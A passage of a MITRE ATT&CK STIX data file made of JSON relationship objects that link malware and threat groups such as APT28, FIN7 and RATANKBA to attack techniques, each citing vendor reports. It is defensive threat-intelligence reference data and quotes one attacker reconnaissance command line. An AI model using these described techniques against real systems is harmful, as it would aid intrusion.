"relationship--0634c754-9660-414f-8304-d9d92e37a0ce", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.432Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) establishes persistence in the Startup folder.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--750ca5b8-6142-46c0-9c40-f04dc9036bb9", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) performs a reflective DLL injection using a given pid.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65eff720-b419-4e73-8f6c-c3dd07b78484", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.099Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) client has been signed by fake and invalid digital certificates.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--add09428-6eda-4cb2-8817-008038ed4f00", + "external_references": [ + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to identify remote hosts on connected networks.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--05ee7ead-dfe8-4cd2-9e7c-8f1aada9bcde", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.589Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ada291f4-524c-4400-9425-0936a03d4a41", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.385Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses WMI to perform process monitoring.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ed1086d-3197-403e-86e4-16e4dee07faa", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.094Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to find credentials in the Windows Registry.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19e44b4d-fb66-43f9-8853-8e42692522b2", + "external_references": [ + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "relationship_type": "uses", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) used a proxy server between victims and the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.943Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic has been encrypted with RC4 and AES.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "source_name": "Unit 42 SeaDuke 2015", + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to search for and capture files on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1684e405-53bd-4951-a26d-e7c39887b06a", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.236Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has cleared logs during post compromise cleanup activities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1083404f-57df-48dc-a3b9-8c60fb5fd2f7", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.687Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a273c5c-b362-4126-b684-7751b85cbf5c", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.907Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about shares on remote hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cffbdd23-bf18-4bb9-bd50-dc74b69784e2", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.607Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to maintain access to a victim network and exfiltrate data. The group also used credentials stolen through a spearphishing email to login to the DCCC network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07", + "external_references": [ + { + "source_name": "Trend Micro Pawn Storm April 2017", + "description": "Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.232Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.353Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10af8211-36f6-4152-8221-c152407bd969", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.221Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6", + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T12:58:44.342Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c452693-7971-42f3-8bdc-68e2c7d785ae", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected file listings of all default Windows directories.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79826a7e-d9dd-4c4f-bc1f-e5f2d4c6465b", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.860Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.700Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa", + "external_references": [ + { + "source_name": "Trend Micro Totbrick Oct 2016", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + } + ], + "modified": "2019-06-24T19:15:06.430Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) scans the C-class subnet of the IPs on the victim's interfaces.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce", + "external_references": [ + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "modified": "2019-04-24T23:59:16.274Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96a09c57-4848-464e-8649-142152c91db9", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about the OS: ver >> %temp%\\download systeminfo >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.111Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.203Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.332Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5", + "external_references": [ + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": 